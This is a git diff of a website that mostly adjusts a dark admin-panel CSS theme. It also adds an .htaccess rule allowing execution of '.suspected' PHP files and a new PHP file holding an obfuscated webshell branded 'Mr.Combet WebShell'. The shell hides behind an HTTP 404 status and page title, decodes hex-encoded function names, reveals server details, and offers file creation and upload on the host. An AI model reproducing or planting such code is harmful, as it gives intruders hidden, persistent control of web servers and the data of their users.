a[href*=charsets] { a[href*=charsets] {
display: none; display: none;
} }
table { table {
border: 0; border: 0;
margin: 0; margin: 0;
margin-top: 15px; margin-top: 15px;
} }
th, td { th, td {
border: 0; border: 0;
padding: 6px; padding: 6px;
color: var(--color-darkOrange); color: var(--color-darkOrange);
} }
th { th {
background: none; background: none;
color: var(--color-darkCyan); color: var(--color-darkCyan);
font-weight: normal; font-weight: normal;
} }
tbody tr:hover td, tbody tr:hover td,
tbody tr:hover th { tbody tr:hover th {
background: var(--color-darkCurrentLine); background: var(--color-darkCurrentLine);
} }
table:not(.checkable) th { table:not(.checkable) th {
min-width: 120px; min-width: 120px;
} }
#edit-fields th {
min-width: 0;
}
thead td, thead td,
thead th { thead th {
background: var(--color-darkComment); background: var(--color-darkComment);
} }
thead td, thead td,
thead td a, thead td a,
thead td a:link:hover, thead td a:link:hover,
@@ -144,37 +153,37 @@
thead th a:visited:hover { thead th a:visited:hover {
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
table.checkable, table.checkable,
p.links + table, p.links + table,
pre + table, pre + table,
#edit-fields, #edit-fields,
p + table, p + table,
h3 + table { h3 + table,
.scrollable table{
border: 1px solid var(--color-darkCurrentLine); border: 1px solid var(--color-darkCurrentLine);
margin-bottom: 15px; margin-bottom: 15px;
} }
table.checkable tbody tr:hover td, table.checkable tbody tr:hover td,
table.checkable tbody tr:hover th { table.checkable tbody tr:hover th {
background: var(--color-darkCurrentLine); background: var(--color-darkCurrentLine);
} }
.js .checkable .checked td, .js .checkable .checked td,
.js .checkable .checked th { .js .checkable .checked th {
background: var(--color-darkDraculaSite); background: var(--color-darkDraculaSite);
} }
.js .checkable thead .checked td, .js .checkable thead .checked td,
.js .checkable thead .checked th { .js .checkable thead .checked th {
background: var(--color-darkPurple); background: var(--color-darkPurple);
} }
.odd th, .odds tbody tr:nth-child(2n) {
.odd td {
background: var(--color-darkDraculaVSCode); background: var(--color-darkDraculaVSCode);
} }
fieldset { fieldset {
display: inline-block; display: inline-block;
padding: 15px; padding: 15px;
@@ -183,21 +192,21 @@
border: 0; border: 0;
background: var(--color-darkBackground); background: var(--color-darkBackground);
} }
fieldset select { fieldset select {
margin-right: 5px; margin-right: 5px;
} }
fieldset input[type=button], fieldset input[type=button],
fieldset input[type=submit], fieldset input[type=submit],
fieldset p { fieldset p {
margin-bottom: 0; margin-bottom: 0;
} }
fieldset div p { fieldset div p {
margin-top: 10px; margin-top: 10px;
} }
legend { legend {
display: inline-block; display: inline-block;
padding: 6px 15px; padding: 6px 15px;
@@ -206,17 +215,17 @@
font-family: 'Source Sans Pro', sans-serif; font-family: 'Source Sans Pro', sans-serif;
color: var(--color-darkOrange); color: var(--color-darkOrange);
} }
legend a, legend a,
legend a:link:hover { legend a:link:hover {
color: var(--color-darkOrange); color: var(--color-darkOrange);
text-decoration: underline; text-decoration: underline;
} }
code { code {
background: none; background: none;
} }
p code, p code,
pre code, pre code,
pre[contenteditable=true] { pre[contenteditable=true] {
@@ -225,7 +234,7 @@
font-size: 17px; font-size: 17px;
margin-bottom: 15px; margin-bottom: 15px;
} }
p code + a, p code + a,
p code + a:link:hover, p code + a:link:hover,
p code + a:visited:hover { p code + a:visited:hover {
@@ -237,7 +246,7 @@
text-decoration: underline; text-decoration: underline;
text-transform: lowercase; text-transform: lowercase;
} }
#content { #content {
margin: 0; margin: 0;
margin-left: 400px; margin-left: 400px;
@@ -245,12 +254,12 @@
padding: 0; padding: 0;
padding-top: 50px; padding-top: 50px;
} }
#content > p { #content > p {
margin-bottom: 15px; margin-bottom: 15px;
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
.rtl #content { .rtl #content {
margin: 0; margin: 0;
margin-left: 54px; margin-left: 54px;
@@ -258,7 +267,7 @@
padding: 0; padding: 0;
padding-top: 50px; padding-top: 50px;
} }
#menu { #menu {
width: 347px; width: 347px;
border-right: 1px solid var(--color-darkBackground); border-right: 1px solid var(--color-darkBackground);
@@ -272,51 +281,44 @@
padding: 0 15px; padding: 0 15px;
box-sizing: border-box; box-sizing: border-box;
} }
#menu h1 { #menu h1 {
background: none left top no-repeat;
/* background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD0AAAAyCAIAAABgVkRrAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NTA0RDI5NkM5QkRGMTFFMzg4ODNEQjEzNjY5NzJEMEEiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NTA0RDI5NkQ5QkRGMTFFMzg4ODNEQjEzNjY5NzJEMEEiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo1MDREMjk2QTlCREYxMUUzODg4M0RCMTM2Njk3MkQwQSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo1MDREMjk2QjlCREYxMUUzODg4M0RCMTM2Njk3MkQwQSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PnG4emkAAASXSURBVHja7Fk9aNtAFL6EDKKUoqGDySRKB1FC8dDBdCgeOmQoIUMG0yGE0EFT8dDBUwidPJQQQgcNpYROGjKI0sFDB9GhaMhgSgcPpWgqHjqYYsINJfQ7PfV0tmX9JI4Sgx+HI8f26bt3733fe6elIf/LbqwdHbJWS1wYBrMstrXJVg36ZJnNhQWBWMB9k+215gq3tDeHBH3pRseJtC8ee2ezEzd62+ncDH/DhS+ttC88qbMPDntaj952uyvXD3q7ETvyyE77pq5HFz9614r7V8C2GnBezBgp9tGNl3ffzIjvwZ9B//dA7Mz3YPLTyl29UhE+MI0KW9YKh2yjwQZichEAjsNu6WlUqNqkvwHUO+0BJeD2gn4hJFXTwAIw6jUzYxlwHkCTvWqy1+0Ct7FtsPh/3Ofc9brOJ5+8ezHr9gKMcGpWf2SK8bhKk48sA1kIOiODmzc2c8U0DLrzwhI5ypjA3fsZtNrOgPP4y5pmGJXamqHd1kQMTIkENYpwEfQHEW7GsGkYZse393ewb+Y9IwE0PJcOejQ2pFgK3Li3BI14hZM269XKaiXPVPodHUOs6l48o/+t5wO038OcQGztHzd31uPfUEgQdCQi3JkfumLLHa9LoK2tunPQtJ6v5wQ9zWoPzebupms34QKxmZNJAugIDzJE+V4rbTrDSMYtr3AD+H5WFIfZ0lIFPu50otiF7zfW2dlgquKccTFWRxYQ8wlFJOVTdc2gAChq/V99vxdgD7O5CIBO/Yi/P3vsUY2dOOxBdSrzIBm2dxJwq+hlaiId9dua5OlEv/IhH0vKvAYXfvUjvUTFB2STeinJu91Oxo3Eh58onwRXcB7zWkGj/Maa9203+9soPIyWEKBEkQdc8veo+sS4wQkYzV1Bi+A1Ee5DnhO33BxsSw1/wszGPHkXmqI7yIQzPvnvhPqEFjAWtSq7j7n2YplwSctVV8F/FXazbN76nQXu68btfe3Odmqwahl5Ca6tel0UVdnVc6pRBX/JkrgYn0RCY0cdAMhYvGYxHbEklbJ++FoqD8LTUiwTlZLEha55WKOmSybWTCXD1eJG8dnc4XAYqmdgmoRFyp/ZqqHbgMiD8qGXZeAOs1RD9YyhBgBVTgL3cMTHwKd2xyUL50qmTI5p/oK/F7jnEjeycLZTFz02SrKlaSPGbe0fOx+9mbTGcMHhe/fwuFMGn4Dy7BMPA3oBGkZrbIDgcp9JgK37YYtZjmSuqApH9yPRcTp+TM939THOpkaYroMguRuSE14tbuegif11vS58poYm7i1vn6fdxF6hMoNk4leIvTJ0B1FhPQ/PxM45eZ2HGjkY8jHXqptghGJJqqmKVHn1oCr4k93xgr8XuOcZ9zmf7dQym68Et6QFcFaBk7EsQ5fdfuteHW7xPM3asyVh05EkxFJITMHuGDUCukxwvOz3YI31mtWoX7TRXkrDjQhBLeFOHBtQQ6n/f8TDlAd/6mNBP7xO7Ecbz2qNjfrl6qoU3Mr5Qa4j9yyLHqZd7jwjL241QQFdPiJTdT7RsBuapslzi5mqVSHcKXYetcZlSelU3P8EGADW25uhkIE0mQAAAABJRU5ErkJggg==); */
background-image: url();
line-height: 50px; line-height: 50px;
padding-left: 50px; margin: 10px 0;
padding-top: 9px;
/* text-transform: lowercase; */
margin: 25px 0 10px 16px;
} }
#menu h1 a { #menu h1 a {
font-style: normal; font-style: normal;
} }
#menu h1 .version { #menu h1 .version {
color: var(--color-darkPurple); color: var(--color-darkPurple);
} }
#menu a { #menu a {
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
#menu p, #tables { #menu p, #tables {
border: 0; border: 0;
padding: 0; padding: 0;
} }
#menu #dbs { #menu #dbs {
background: var(--color-darkDraculaVSCode); background: var(--color-darkDraculaVSCode);
padding: 0 15px 15px; padding: 10px 15px 15px;
border: 1px solid var(--color-darkForeground); border: 1px solid var(--color-darkForeground);
border-bottom: 0; border-bottom: 0;
box-sizing: border-box; box-sizing: border-box;
color: var(--color-darkCyan); color: var(--color-darkCyan);
} }
#menu #dbs select { #menu #dbs select {
outline: 0; outline: 0;
border-color: var(--color-darkComment); border-color: var(--color-darkComment);
width: 100%; width: 100%;
} }
#menu p.links { #menu p.links {
margin: 0 0 15px; margin: 0 0 15px;
border: 1px solid var(--color-darkForeground); border: 1px solid var(--color-darkForeground);
@@ -326,50 +328,55 @@
width: 100%; width: 100%;
box-sizing: border-box; box-sizing: border-box;
} }
#menu p.links a { #menu p.links a {
padding: 8px; padding: 8px;
margin: 0; margin: 0;
display: table-cell; display: table-cell;
font-size: 12px; font-size: 12px;
} }
#menu p.links a:hover { #menu p.links a:hover {
color: var(--color-darkPink); color: var(--color-darkPink);
} }
#menu p.links a.active { #menu p.links a.active {
font-weight: normal; font-weight: normal;
background: var(--color-darkCurrentLine); background: var(--color-darkCurrentLine);
color: var(--color-darkYellow); color: var(--color-darkYellow);
} }
.tables-filter {
margin-top: 32px;
padding: 0;
}
#content p.links { #content p.links {
margin: -10px 0 15px; margin: -10px 0 15px;
} }
#content p.links a { #content p.links a {
padding: 8px; padding: 8px;
margin: 0; margin: 0;
display: table-cell; display: table-cell;
border: 1px solid var(--color-darkBackground); border: 1px solid var(--color-darkBackground);
} }
#content p.links a, #content p.links a,
#content p.links a:visited, #content p.links a:visited,
#content p.links a:hover { #content p.links a:hover {
color: var(--color-darkCyan); color: var(--color-darkCyan);
} }
#content p.links a.active { #content p.links a.active {
font-weight: normal; font-weight: normal;
border: 1px solid var(--color-darkTitleSite); border: 1px solid var(--color-darkTitleSite);
background: var(--color-darkCurrentLine); background: var(--color-darkCurrentLine);
} }
#tables { #tables {
max-height: 100%; max-height: 100%;
margin: 32px -15px !important; margin: 15px -15px 32px !important;
position: absolute; position: absolute;
left: 15px; left: 15px;
right: 15px; right: 15px;
@@ -378,33 +385,33 @@
overflow: hidden !important; overflow: hidden !important;
overflow-y: auto !important; overflow-y: auto !important;
} }
.rtl #tables { .rtl #tables {
overflow: hidden !important; overflow: hidden !important;
overflow-y: auto !important; overflow-y: auto !important;
} }
#tables a { #tables a {
float: right; float: right;
padding: 6px 15px; padding: 6px 15px;
} }
.rtl #tables a { .rtl #tables a {
float: none; float: none;
} }
#tables .structure, #tables .view { #tables .structure, #tables .view {
float: none; float: none;
display: block; display: block;
} }
.rtl #tables a:first-child, .rtl #tables a:first-child,
.rtl #tables br + a { .rtl #tables br + a {
float: left; float: left;
display: block; display: block;
margin-left: 15px; margin-left: 15px;
} }
#tables a:hover, #tables a:hover,
#tables a:hover + a, #tables a:hover + a,
#tables a.active, #tables a.active,
@@ -416,15 +423,15 @@
#tables br { #tables br {
display: none; display: none;
} }
.js .column { .js .column {
background: var(--color-darkDraculaVSCode); background: var(--color-darkDraculaVSCode);
} }
.js .checked .column { .js .checked .column {
background: var(--color-darkDraculaVSCode); background: var(--color-darkDraculaVSCode);
} }
.pages { .pages {
left: 400px; left: 400px;
background: var(--color-darkCyan); background: var(--color-darkCyan);
@@ -434,7 +441,7 @@
display: inline-block; display: inline-block;
position: static; position: static;
} }
.pages a, .pages a,
.pages a:link, .pages a:link,
.pages a:link:hover, .pages a:link:hover,
@@ -443,7 +450,7 @@
color: var(--color-darkBackground); color: var(--color-darkBackground);
font-weight: normal; font-weight: normal;
} }
#breadcrumb { #breadcrumb {
margin: 0; margin: 0;
left: 400px; left: 400px;
@@ -452,36 +459,41 @@
padding-top: 25px; padding-top: 25px;
font-size: 12px; font-size: 12px;
} }
#breadcrumb a { #breadcrumb a {
color: var(--color-darkForeground); color: var(--color-darkForeground);
text-decoration: underline; text-decoration: underline;
} }
#breadcrumb, #breadcrumb,
#breadcrumb a:hover { #breadcrumb a:hover {
color: var(--color-darkTitleSite); color: var(--color-darkTitleSite);
} }
.rtl #breadcrumb { .rtl #breadcrumb {
margin: 0; margin: 0;
padding: 0; padding: 0;
padding-top: 25px; padding-top: 25px;
right: 400px; right: 400px;
} }
.logout, .logout,
.rtl .logout { .rtl .logout {
top: 30px; top: 20px;
right: 54px; right: 54px;
margin: 0; margin: 0;
} }
.rtl .logout { .rtl .logout {
right: auto; right: auto;
left: 54px; left: 54px;
} }
#logout {
margin-top: 0;
}
pre.jush,
input:not([type]), input:not([type]),
input[type="color"], input[type="color"],
input[type="email"], input[type="email"],
@@ -498,7 +510,11 @@
box-sizing: border-box; box-sizing: border-box;
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
input::placeholder {
color: var(--color-darkForeground);
}
table:not(#table) input:not([type]), table:not(#table) input:not([type]),
table:not(#table) input[type="color"], table:not(#table) input[type="color"],
table:not(#table) input[type="email"], table:not(#table) input[type="email"],
@@ -510,7 +526,7 @@
table:not(#table) input[type="search"] { table:not(#table) input[type="search"] {
min-width: 280px; min-width: 280px;
} }
input[type=submit], input[type=submit],
input[type=button] { input[type=button] {
border: 0; border: 0;
@@ -526,14 +542,14 @@
border-radius: 5px; border-radius: 5px;
margin-top: 20px; margin-top: 20px;
} }
input[type=submit][disabled], input[type=submit][disabled],
input[type=button][disabled] { input[type=button][disabled] {
background: var(--color-darkTitleSite) !important; background: var(--color-darkTitleSite) !important;
color: var(--color-darkBackground); color: var(--color-darkBackground);
cursor: not-allowed; cursor: not-allowed;
} }
input[type=submit]:hover, input[type=submit]:hover,
input[type=button]:hover, input[type=button]:hover,
input[type=submit]:focus, input[type=submit]:focus,
@@ -541,17 +557,17 @@
background: var(--color-darkGreen); background: var(--color-darkGreen);
opacity: 0.8; opacity: 0.8;
} }
.logout input[type=submit] { .logout input[type=submit] {
background: var(--color-darkRed); background: var(--color-darkRed);
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
.logout input[type=submit]:hover { .logout input[type=submit]:hover {
background: var(--color-darkRed); background: var(--color-darkRed);
opacity: 0.8; opacity: 0.8;
} }
input.default, input.default,
input.default { input.default {
box-shadow: none; box-shadow: none;
@@ -559,22 +575,22 @@
color: var(--color-darkDraculaVSCode); color: var(--color-darkDraculaVSCode);
font-weight: bold; font-weight: bold;
} }
select { select {
box-sizing: border-box; box-sizing: border-box;
margin: 0; margin: 0;
padding: 6px 0; padding: 6px;
border: 1px solid var(--color-darkCurrentLine); border: 1px solid var(--color-darkCurrentLine);
background-color: var(--color-darkBackground); background-color: var(--color-darkBackground);
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
label { label {
cursor: pointer; cursor: pointer;
margin: 18px; margin: 18px;
color: var(--color-darkOrange); color: var(--color-darkOrange);
} }
.error, .error,
.message { .message {
margin: 0; margin: 0;
@@ -582,23 +598,23 @@
background: var(--color-darkCurrentLine); background: var(--color-darkCurrentLine);
color: var(--color-darkRed); color: var(--color-darkRed);
} }
#logins a, #logins a,
#tables a, #tables a,
#tables span { #tables span {
background: none; background: none;
} }
#form > p { #form > p {
margin-bottom: 15px; margin-bottom: 15px;
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
#schema .table { #schema .table {
padding: 6px; padding: 6px;
} }
#schema .table a { #schema .table a {
display: block; display: block;
margin: -6px; margin: -6px;
@@ -607,20 +623,20 @@
color: var(--color-darkBackground); color: var(--color-darkBackground);
background: var(--color-darkPurple); background: var(--color-darkPurple);
} }
#schema .table br { #schema .table br {
display: none; display: none;
} }
#schema .table span { #schema .table span {
display: block; display: block;
margin-bottom: 1px solid var(--color-darkDraculaVSCode); margin-bottom: 1px solid var(--color-darkDraculaVSCode);
} }
#lang { #lang {
position: fixed; position: fixed;
top: 55px; top: 30px;
right: 100%; right: calc(100% + 8px);
z-index: 10; z-index: 10;
margin-right: -340px; margin-right: -340px;
line-height: normal; line-height: normal;
@@ -628,7 +644,7 @@
left: auto; left: auto;
font-size: 0; font-size: 0;
} }
#lang select { #lang select {
font-size: 12px; font-size: 12px;
padding: 0; padding: 0;
@@ -641,26 +657,26 @@
cursor: pointer; cursor: pointer;
outline: 0; outline: 0;
} }
#lang select option { #lang select option {
text-align: right; text-align: right;
} }
.rtl #lang { .rtl #lang {
margin-right: 0; margin-right: 0;
left: 100%; left: 100%;
margin-left: -261px; margin-left: -261px;
right: auto; right: auto;
} }
.jush { .jush {
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
.jush a { .jush a {
color: var(--color-darkPurple); color: var(--color-darkPurple);
} }
.jush-sql a, .jush-sql a,
.jush-sql_code a, .jush-sql_code a,
.jush-sqlite a, .jush-sqlite a,
@@ -670,7 +686,7 @@
.jush-simpledb a { .jush-simpledb a {
font-weight: normal; font-weight: normal;
} }
.jush-bac, .jush-bac,
.jush-php_bac, .jush-php_bac,
.jush-bra, .jush-bra,
@@ -678,7 +694,7 @@
.jush-sqlite_quo { .jush-sqlite_quo {
color: var(--color-darkYellow); color: var(--color-darkYellow);
} }
.jush-php_quo, .jush-php_quo,
.jush-quo, .jush-quo,
.jush-quo_one, .jush-quo_one,
@@ -690,21 +706,21 @@
.jush-sql_eot { .jush-sql_eot {
color: var(--color-darkOrange); color: var(--color-darkOrange);
} }
.jush-num, .jush-num,
.jush-clr { .jush-clr {
color: var(--color-darkPurple); color: var(--color-darkPurple);
} }
@media print { @media print {
.logout { .logout {
display: none; display: none;
} }
#breadcrumb { #breadcrumb {
position: static; position: static;
} }
#content { #content {
margin: 0; margin: 0;
} }

1750
site/public/adm/index.php Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,4 @@
<FilesMatch ".*\.(phtml|php|PhP|php5|suspected)$">
Order Allow,Deny
Allow from all
</FilesMatch>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
.fi-pagination-items,.fi-pagination-overview,.fi-pagination-records-per-page-select:not(.fi-compact){display:none}@supports (container-type:inline-size){.fi-pagination{container-type:inline-size}@container (min-width: 28rem){.fi-pagination-records-per-page-select.fi-compact{display:none}.fi-pagination-records-per-page-select:not(.fi-compact){display:inline}}@container (min-width: 56rem){.fi-pagination:not(.fi-simple)>.fi-pagination-previous-btn{display:none}.fi-pagination-overview{display:inline}.fi-pagination:not(.fi-simple)>.fi-pagination-next-btn{display:none}.fi-pagination-items{display:flex}}}@supports not (container-type:inline-size){@media (min-width:640px){.fi-pagination-records-per-page-select.fi-compact{display:none}.fi-pagination-records-per-page-select:not(.fi-compact){display:inline}}@media (min-width:768px){.fi-pagination:not(.fi-simple)>.fi-pagination-previous-btn{display:none}.fi-pagination-overview{display:inline}.fi-pagination:not(.fi-simple)>.fi-pagination-next-btn{display:none}.fi-pagination-items{display:flex}}}.tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{background-color:#333;border-radius:4px;color:#fff;font-size:14px;line-height:1.4;outline:0;position:relative;transition-property:transform,visibility,opacity;white-space:normal}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{border-top-color:initial;border-width:8px 8px 0;bottom:-7px;left:0;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{border-bottom-color:initial;border-width:0 8px 8px;left:0;top:-7px;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-left-color:initial;border-width:8px 0 8px 8px;right:-7px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{border-right-color:initial;border-width:8px 8px 8px 0;left:-7px;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{color:#333;height:16px;width:16px}.tippy-arrow:before{border-color:transparent;border-style:solid;content:"";position:absolute}.tippy-content{padding:5px 9px;position:relative;z-index:1}.tippy-box[data-theme~=light]{background-color:#fff;box-shadow:0 0 20px 4px #9aa1b126,0 4px 80px -8px #24282f40,0 4px 4px -2px #5b5e6926;color:#26323d}.tippy-box[data-theme~=light][data-placement^=top]>.tippy-arrow:before{border-top-color:#fff}.tippy-box[data-theme~=light][data-placement^=bottom]>.tippy-arrow:before{border-bottom-color:#fff}.tippy-box[data-theme~=light][data-placement^=left]>.tippy-arrow:before{border-left-color:#fff}.tippy-box[data-theme~=light][data-placement^=right]>.tippy-arrow:before{border-right-color:#fff}.tippy-box[data-theme~=light]>.tippy-backdrop{background-color:#fff}.tippy-box[data-theme~=light]>.tippy-svg-arrow{fill:#fff}.fi-sortable-ghost{opacity:.3}

View File

@@ -0,0 +1,183 @@
<?php error_reporting(0); http_response_code(404); define("Yp", ""); $G3 = "scandir"; $c8 = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); $lE = 0; T4: if (!($lE < count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy: $lE++; goto T4; Je: if (isset($_GET["p"])) { goto sr; } $Jd = $c8[2](); goto VN; sr: $Jd = jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE = ""; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } function Jd($SP) { $dE = ""; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } function rn($F1) { $Jd = fileperms($F1); if (($Jd & 0xc000) == 0xc000) { goto FZ; } if (($Jd & 0xa000) == 0xa000) { goto Eu; } if (($Jd & 0x8000) == 0x8000) { goto ES; } if (($Jd & 0x6000) == 0x6000) { goto sA; } if (($Jd & 0x4000) == 0x4000) { goto lG; } if (($Jd & 0x2000) == 0x2000) { goto tV; } if (($Jd & 0x1000) == 0x1000) { goto Tx; } $lE = 'u'; goto cC; FZ: $lE = 's'; goto cC; Eu: $lE = 'l'; goto cC; ES: $lE = '-'; goto cC; sA: $lE = 'b'; goto cC; lG: $lE = 'd'; goto cC; tV: $lE = 'c'; goto cC; Tx: $lE = 'p'; cC: $lE .= $Jd & 0x100 ? 'r' : '-'; $lE .= $Jd & 0x80 ? 'w' : '-'; $lE .= $Jd & 0x40 ? $Jd & 0x800 ? 's' : 'x' : ($Jd & 0x800 ? 'S' : '-'); $lE .= $Jd & 0x20 ? 'r' : '-'; $lE .= $Jd & 0x10 ? 'w' : '-'; $lE .= $Jd & 0x8 ? $Jd & 0x400 ? 's' : 'x' : ($Jd & 0x400 ? 'S' : '-'); $lE .= $Jd & 0x4 ? 'r' : '-'; $lE .= $Jd & 0x2 ? 'w' : '-'; $lE .= $Jd & 0x1 ? $Jd & 0x200 ? 't' : 'x' : ($Jd & 0x200 ? 'T' : '-'); return $lE; } function Xe($OB, $Ch = 1, $BL = "") { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ss($Jd) . $BL . "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yf . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } ?>
<!doctype html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title>404</title>
<style> @import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
.bg-dark { background-color: black; }
.border { border: 2px solid deeppink!important; border-radius: 0.75rem!important; background-color: transparent; color: white; padding-left: 1rem; }
.table>tbody>tr>* { color: #007fff; vertical-align: middle; border: 2px solid #ff1493; }
.table thead th { vertical-align: bottom; border: 2px solid deeppink; color: #31ed06; }
.table-hover tbody tr:hover td{ background: #3f3f3f }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0}
.form-control::placeholder{color:#fff;opacity:1}
li{font-size:17px;margin-left:6px;list-style:none;color: #31ed06;list-style: inherit;}
a{ color: #ffffff; }
a:hover { text-decoration: none; color: #31ed06; }
button, input { border: 2px solid #31ed06;border-radius: 0.5rem;font-size: 1rem;color:white;line-height: normal; }
button, input:hover { border: 2px solid deeppink;border-radius: 0.5rem;font-size: 1rem;cursor: pointer; }
.ohct { padding-left: 1rem; padding-right: 1rem; color: white; border: 2px solid #31ed06; border-radius: 5px; background-color: black; }
.ohct:hover { border: 2px solid #ff1493; color: white; }
.combet { color: white; }
.combet:hover { color: #31ed06; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid deeppink;background: transparent;}
.fa:hover {color: #31ed06;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body style="background-color:#000;color:black;font-size: 0px ;font-family: 'Kelly Slab';width: 100%;padding: 0.5rem;">
<div class="table-responsive text-light" style="border: 2px solid #ff1493;text-align: left;padding: 0.25rem;border-radius: 0.75rem;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="mailto:combetohct@yahoo.com" class="fa fa-envelope"></a>
<a href="https://www.facebook.com/combet.ohct" class="fa fa-facebook"></a>
<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px deeppink;"><span>Mr.Combet WebShell</span></a>
<a href="https://wa.me/6281270303335" class="fa fa-whatsapp"></a>
<a href="https://t.me/combetohct" class="fa fa-telegram"></a>
</div>
<li>Your IP : <span style="color: white;"><?php echo $_SERVER['REMOTE_ADDR']; ?></span></li>
<li>Server IP : <span style="color: white;"><?php echo $_SERVER['SERVER_ADDR']; ?></span></li>
<li>Server : <span style="color: white;"><?= $c8[0](); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo gethostbyname($_SERVER['SERVER_SOFTWARE']); ?></span></li>
<li>Server Name : <span style="color: white;"><?php echo $_SERVER['SERVER_NAME']; ?></span></li>
<li>PHP Version : <span style="color: white;"><?= $c8[1](); ?></span></li>
<li>Add File : <a href="?p=<?= ss($Jd) . "&a=" . Ss("newFile"); ?>" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p=<?= Ss($Jd) . "&a=" . sS("newDir"); ?>" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]" onchange="this.form.submit()" multiple>
